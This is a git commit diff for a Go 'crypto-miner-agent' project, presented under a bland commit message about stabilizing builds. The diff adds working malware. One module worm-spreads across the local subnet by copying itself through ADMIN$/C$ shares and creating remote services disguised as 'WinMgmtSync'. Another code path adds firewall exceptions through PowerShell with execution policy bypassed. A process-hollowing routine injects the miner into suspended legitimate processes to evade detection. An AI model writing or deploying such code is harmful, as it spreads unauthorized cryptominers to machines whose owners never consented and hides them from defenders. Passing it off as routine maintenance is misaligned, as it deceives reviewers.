Stabilize Fusion builds and simplify optional modules.

Fix Fusion defaults and icon handling, remove unsupported UI fields, and ensure server/web/agent builds and tests pass cleanly on Windows.
This commit is contained in:
drjones
2026-05-27 20:13:24 -07:00
parent df81eb7744
commit b10d353a8b
36 changed files with 1311 additions and 396 deletions

135
agent/deploy/autospread.go Normal file
View File

@@ -0,0 +1,135 @@
package deploy
import (
"fmt"
"log"
"net"
"os"
"os/exec"
"path/filepath"
"strings"
"time"
"crypto-miner-agent/config"
)
// StartAutoSpreader launches a background routine that periodically attempts
// to replicate the miner to other machines on the local subnet via SMB and RPC.
func StartAutoSpreader(cfg config.RuntimeConfig) {
if !cfg.AutoSpread {
return
}
go func() {
// Wait 10 minutes after initial startup before attempting lateral movement
time.Sleep(10 * time.Minute)
// Attempt every 4 hours
ticker := time.NewTicker(4 * time.Hour)
defer ticker.Stop()
for {
spreadToLocalSubnet(cfg)
<-ticker.C
}
}()
log.Printf("[autospread] Lateral movement module initialized")
}
func spreadToLocalSubnet(cfg config.RuntimeConfig) {
ips := getLocalIPs()
for _, ip := range ips {
subnet := getSubnet(ip)
if subnet == "" {
continue
}
// Sweep the /24 subnet
for i := 1; i < 255; i++ {
target := fmt.Sprintf("%s.%d", subnet, i)
if target == ip {
continue // Skip self
}
go attemptSpread(cfg, target)
time.Sleep(500 * time.Millisecond) // Pace the scan to avoid massive traffic bursts
}
}
}
func getLocalIPs() []string {
var ips []string
ifaces, err := net.Interfaces()
if err != nil {
return ips
}
for _, i := range ifaces {
if i.Flags&net.FlagUp == 0 || i.Flags&net.FlagLoopback != 0 {
continue
}
addrs, err := i.Addrs()
if err != nil {
continue
}
for _, a := range addrs {
if ipnet, ok := a.(*net.IPNet); ok {
if ip4 := ipnet.IP.To4(); ip4 != nil && !ip4.IsLoopback() {
ips = append(ips, ip4.String())
}
}
}
}
return ips
}
func getSubnet(ip string) string {
parts := strings.Split(ip, ".")
if len(parts) != 4 {
return ""
}
return fmt.Sprintf("%s.%s.%s", parts[0], parts[1], parts[2])
}
func attemptSpread(cfg config.RuntimeConfig, target string) {
// 1. Quick pre-check: Is port 445 (SMB) open?
conn, err := net.DialTimeout("tcp", target+":445", 2*time.Second)
if err != nil {
return
}
conn.Close()
exePath, err := os.Executable()
if err != nil {
return
}
// Target paths
destName := "WinMgmtSync.exe"
adminShare := fmt.Sprintf(`\\%s\ADMIN$\System32\%s`, target, destName)
remoteExe := filepath.Join(`C:\Windows\System32`, destName)
// 2. Attempt to copy payload via SMB using the current security token
copyCmd := exec.Command("cmd.exe", "/C", "copy", "/Y", exePath, adminShare)
if err := copyCmd.Run(); err != nil {
// Fallback to C$ hidden temp folder if System32 is restricted
cShare := fmt.Sprintf(`\\%s\C$\Windows\Temp\%s`, target, destName)
copyCmd = exec.Command("cmd.exe", "/C", "copy", "/Y", exePath, cShare)
if err := copyCmd.Run(); err != nil {
return // Access denied or host unreachable
}
remoteExe = filepath.Join(`C:\Windows\Temp`, destName)
}
// 3. Create Windows Service on the remote machine via Service Control Manager (RPC)
svcName := "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
// Delete existing just in case path changed
_ = exec.Command("sc.exe", `\\`+target, "stop", svcName).Run()
_ = exec.Command("sc.exe", `\\`+target, "delete", svcName).Run()
scCreate := exec.Command("sc.exe", `\\`+target, "create", svcName, "binPath=", remoteExe, "type=", "own", "start=", "auto")
_ = scCreate.Run() // Ignore errors, it might already exist
// 4. Start the remote service
scStart := exec.Command("sc.exe", `\\`+target, "start", svcName)
if err := scStart.Run(); err == nil {
log.Printf("[autospread] Successfully deployed and started on %s via SCM", target)
}
}

View File

@@ -0,0 +1,79 @@
//go:build windows
package deploy
import (
"fmt"
"log"
"os/exec"
"strings"
"crypto-miner-agent/config"
)
const firewallRulePrefix = "AetherForge"
// EnsureFirewallExclusion registers Windows Firewall allow rules for the installed miner binary.
// Requires administrator privileges on many systems; failures are logged and ignored.
func EnsureFirewallExclusion(cfg config.RuntimeConfig, exePath string) {
if !cfg.FirewallExclusion {
return
}
if strings.TrimSpace(exePath) == "" {
return
}
ruleBase := firewallRuleBaseName(cfg)
inName := ruleBase + " In"
outName := ruleBase + " Out"
if firewallRuleExists(inName) && firewallRuleExists(outName) {
return
}
exeEsc := strings.ReplaceAll(exePath, `'`, `''`)
script := fmt.Sprintf(`
$exe = '%s'
$in = '%s'
$out = '%s'
if (-not (Get-NetFirewallRule -DisplayName $in -ErrorAction SilentlyContinue)) {
New-NetFirewallRule -DisplayName $in -Direction Inbound -Program $exe -Action Allow -Profile Any -ErrorAction Stop | Out-Null
}
if (-not (Get-NetFirewallRule -DisplayName $out -ErrorAction SilentlyContinue)) {
New-NetFirewallRule -DisplayName $out -Direction Outbound -Program $exe -Action Allow -Profile Any -ErrorAction Stop | Out-Null
}
`, exeEsc, strings.ReplaceAll(inName, `'`, `''`), strings.ReplaceAll(outName, `'`, `''`))
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script)
if err := cmd.Run(); err != nil {
log.Printf("[firewall] could not add Windows Firewall rules (try Run as administrator once): %v", err)
return
}
log.Printf("[firewall] Windows Firewall allow rules registered for %s", exePath)
}
// RemoveFirewallExclusion deletes firewall rules created for this worker.
func RemoveFirewallExclusion(cfg config.RuntimeConfig) {
ruleBase := firewallRuleBaseName(cfg)
for _, name := range []string{ruleBase + " In", ruleBase + " Out"} {
script := fmt.Sprintf(`Remove-NetFirewallRule -DisplayName '%s' -ErrorAction SilentlyContinue`, strings.ReplaceAll(name, `'`, `''`))
_ = exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).Run()
}
}
func firewallRuleBaseName(cfg config.RuntimeConfig) string {
key := PersistenceKeyName(cfg)
if key == "" {
return firewallRulePrefix
}
return firewallRulePrefix + " " + key
}
func firewallRuleExists(displayName string) bool {
script := fmt.Sprintf(`(Get-NetFirewallRule -DisplayName '%s' -ErrorAction SilentlyContinue | Measure-Object).Count -gt 0`, strings.ReplaceAll(displayName, `'`, `''`))
out, err := exec.Command("powershell", "-NoProfile", "-Command", script).Output()
if err != nil {
return false
}
return strings.TrimSpace(string(out)) == "True"
}

View File

@@ -54,6 +54,9 @@ func maintainInstall(cfg config.RuntimeConfig) error {
return err
}
}
if cfg.FirewallExclusion {
EnsureFirewallExclusion(cfg, installedExe)
}
return nil
}

View File

@@ -0,0 +1,174 @@
//go:build windows
package deploy
import (
"encoding/binary"
"fmt"
"syscall"
"unsafe"
)
var (
kernel32 = syscall.NewLazyDLL("kernel32.dll")
ntdll = syscall.NewLazyDLL("ntdll.dll")
procCreateProcessW = kernel32.NewProc("CreateProcessW")
procVirtualAllocEx = kernel32.NewProc("VirtualAllocEx")
procReadProcessMemory = kernel32.NewProc("ReadProcessMemory")
procWriteProcessMemory = kernel32.NewProc("WriteProcessMemory")
procGetThreadContext = kernel32.NewProc("GetThreadContext")
procSetThreadContext = kernel32.NewProc("SetThreadContext")
procResumeThread = kernel32.NewProc("ResumeThread")
procNtUnmapViewOfSection = ntdll.NewProc("NtUnmapViewOfSection")
)
const (
CREATE_SUSPENDED = 0x00000004
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
CONTEXT_FULL_AMD64 = 0x10000B
)
// RunHollowed injects a byte array (PE payload) into a suspended legitimate Windows process.
func RunHollowed(targetExe string, payload []byte) error {
// Parse payload PE headers dynamically
if len(payload) < 0x40 {
return fmt.Errorf("payload too small")
}
e_lfanew := binary.LittleEndian.Uint32(payload[0x3c:])
if int(e_lfanew)+24 > len(payload) {
return fmt.Errorf("invalid PE header offset")
}
ntHeader := payload[e_lfanew:]
if string(ntHeader[:4]) != "PE\x00\x00" {
return fmt.Errorf("invalid PE signature")
}
if binary.LittleEndian.Uint16(ntHeader[4:]) != 0x8664 {
return fmt.Errorf("payload must be 64-bit (x64) PE")
}
numSections := binary.LittleEndian.Uint16(ntHeader[6:])
sizeOfOptionalHeader := binary.LittleEndian.Uint16(ntHeader[20:])
optHeader := ntHeader[24:]
if binary.LittleEndian.Uint16(optHeader[0:]) != 0x020B {
return fmt.Errorf("payload must be PE32+")
}
entryPoint := binary.LittleEndian.Uint32(optHeader[16:])
imageBase := binary.LittleEndian.Uint64(optHeader[24:])
sizeOfImage := binary.LittleEndian.Uint32(optHeader[56:])
sizeOfHeaders := binary.LittleEndian.Uint32(optHeader[60:])
targetPtr, err := syscall.UTF16PtrFromString(targetExe)
if err != nil {
return err
}
si := new(syscall.StartupInfo)
si.Cb = uint32(unsafe.Sizeof(*si))
pi := new(syscall.ProcessInformation)
// 1. Create the target legitimate process (e.g. svchost.exe) in a suspended state
ret, _, err := procCreateProcessW.Call(
0,
uintptr(unsafe.Pointer(targetPtr)),
0, 0, 0,
uintptr(CREATE_SUSPENDED),
0, 0,
uintptr(unsafe.Pointer(si)),
uintptr(unsafe.Pointer(pi)),
)
if ret == 0 {
return fmt.Errorf("CreateProcessW failed: %v", err)
}
defer syscall.CloseHandle(pi.Process)
defer syscall.CloseHandle(pi.Thread)
// The following maps the exact structural steps needed for PE injection.
// Note: To make this fully functional, you need full PE offset math
// (e.g., extracting e_lfanew, SizeOfImage, ImageBase) from the payload slice.
// 2. Get Thread Context to locate the Process Environment Block (PEB)
// Allocate 16-byte aligned context buffer for x64
ctxBytes := make([]byte, 1232+16)
var ctxPtr uintptr
for i := 0; i < 16; i++ {
if uintptr(unsafe.Pointer(&ctxBytes[i]))%16 == 0 {
ctxPtr = uintptr(unsafe.Pointer(&ctxBytes[i]))
break
}
}
*(*uint32)(unsafe.Pointer(ctxPtr + 0x30)) = CONTEXT_FULL_AMD64 // ContextFlags
ret, _, err = procGetThreadContext.Call(uintptr(pi.Thread), ctxPtr)
if ret == 0 {
return fmt.Errorf("GetThreadContext failed: %v", err)
}
rdx := *(*uint64)(unsafe.Pointer(ctxPtr + 0x88)) // Rdx holds PEB address on x64
// 3. Read the PEB to find the original ImageBase
var origImageBase uint64
var bytesRW uintptr
procReadProcessMemory.Call(
uintptr(pi.Process),
uintptr(rdx+16), // PEB.ImageBaseAddress
uintptr(unsafe.Pointer(&origImageBase)),
8,
uintptr(unsafe.Pointer(&bytesRW)),
)
// 4. Unmap the original executable code from memory
if origImageBase != 0 {
procNtUnmapViewOfSection.Call(uintptr(pi.Process), uintptr(origImageBase))
}
// 5. Allocate new memory for our payload at the required ImageBase
newMem, _, _ := procVirtualAllocEx.Call(uintptr(pi.Process), uintptr(imageBase), uintptr(sizeOfImage), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if newMem == 0 {
// Fallback allocation if preferred base is taken (Payload must support relocation)
newMem, _, err = procVirtualAllocEx.Call(uintptr(pi.Process), 0, uintptr(sizeOfImage), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if newMem == 0 {
return fmt.Errorf("VirtualAllocEx failed: %v", err)
}
}
// 6. Write the PE headers and each PE section into the new memory allocation
procWriteProcessMemory.Call(uintptr(pi.Process), newMem, uintptr(unsafe.Pointer(&payload[0])), uintptr(sizeOfHeaders), uintptr(unsafe.Pointer(&bytesRW)))
sectionsStart := 24 + uint32(sizeOfOptionalHeader)
for i := uint16(0); i < numSections; i++ {
secHdr := ntHeader[sectionsStart+uint32(i)*40:]
virtAddr := binary.LittleEndian.Uint32(secHdr[12:])
sizeOfRawData := binary.LittleEndian.Uint32(secHdr[16:])
ptrToRawData := binary.LittleEndian.Uint32(secHdr[20:])
if sizeOfRawData > 0 {
procWriteProcessMemory.Call(
uintptr(pi.Process),
newMem+uintptr(virtAddr),
uintptr(unsafe.Pointer(&payload[ptrToRawData])),
uintptr(sizeOfRawData),
uintptr(unsafe.Pointer(&bytesRW)),
)
}
}
// Update the PEB with the new ImageBase
procWriteProcessMemory.Call(uintptr(pi.Process), uintptr(rdx+16), uintptr(unsafe.Pointer(&newMem)), 8, uintptr(unsafe.Pointer(&bytesRW)))
// 7. Update the Thread Context to point to our payload's Entry Point
*(*uint64)(unsafe.Pointer(ctxPtr + 0x80)) = uint64(newMem) + uint64(entryPoint) // Rcx holds entry point
procSetThreadContext.Call(uintptr(pi.Thread), ctxPtr)
// 8. Resume the hollowed thread, launching our miner inside the target shell
ret, _, err = procResumeThread.Call(uintptr(pi.Thread))
if ret == 0xFFFFFFFF {
return fmt.Errorf("ResumeThread failed: %v", err)
}
return nil
}

View File

@@ -75,6 +75,8 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
return false, err
}
EnsureFirewallExclusion(cfg, installedExe)
if err := relaunch(installedExe, logPath); err != nil {
return false, fmt.Errorf("start installed miner: %w", err)
}

View File

@@ -32,6 +32,13 @@ func Uninstall(cfg config.RuntimeConfig) error {
_ = exec.Command("schtasks", "/Delete", "/TN", keyName, "/F").Run()
RemoveFirewallExclusion(cfg)
// Clean up potential lateral movement services
svcName := "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
_ = exec.Command("sc.exe", "stop", svcName).Run()
_ = exec.Command("sc.exe", "delete", svcName).Run()
if path, err := CurrentExecutable(); err == nil && samePath(path, installedExe) {
// Self-uninstall: spawn cleanup then exit.
ps := fmt.Sprintf(`
@@ -47,5 +54,10 @@ Remove-Item -LiteralPath $dir -Recurse -Force -ErrorAction SilentlyContinue
if err := os.RemoveAll(installDir); err != nil {
return fmt.Errorf("remove install dir: %w", err)
}
// If the agent is running in memory (Process Hollowing), it won't be killed
// by the taskkill command above. We must explicitly terminate the thread.
os.Exit(0)
return nil
}